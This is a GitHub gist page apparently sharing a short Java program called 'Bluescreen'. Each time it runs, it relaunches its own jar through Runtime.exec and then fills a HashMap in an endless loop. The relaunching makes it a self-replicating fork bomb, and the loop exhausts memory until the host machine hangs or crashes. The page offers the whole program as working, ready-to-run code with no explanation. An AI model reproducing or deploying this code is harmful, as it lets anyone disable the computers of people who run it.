Skip to content

Instantly share code, notes, and snippets.

@manuelgu
Last active September 29, 2015 16:53
Show Gist options
  • Save manuelgu/f828faa3e39702d507df to your computer and use it in GitHub Desktop.
Save manuelgu/f828faa3e39702d507df to your computer and use it in GitHub Desktop.
public class Bluescreen {
public static final Map Objects = new HashMap();
public static double d = 0.0;
public static void main(String[] args) throws InterruptedException, IOException{
String jarname = new File(Bluescreen.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getName();
Runtime.getRuntime().exec("java -jar " + jarname);
while(true) {
Objects.put(Double.valueOf(d), Double.valueOf(d));
d += 1.0D;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment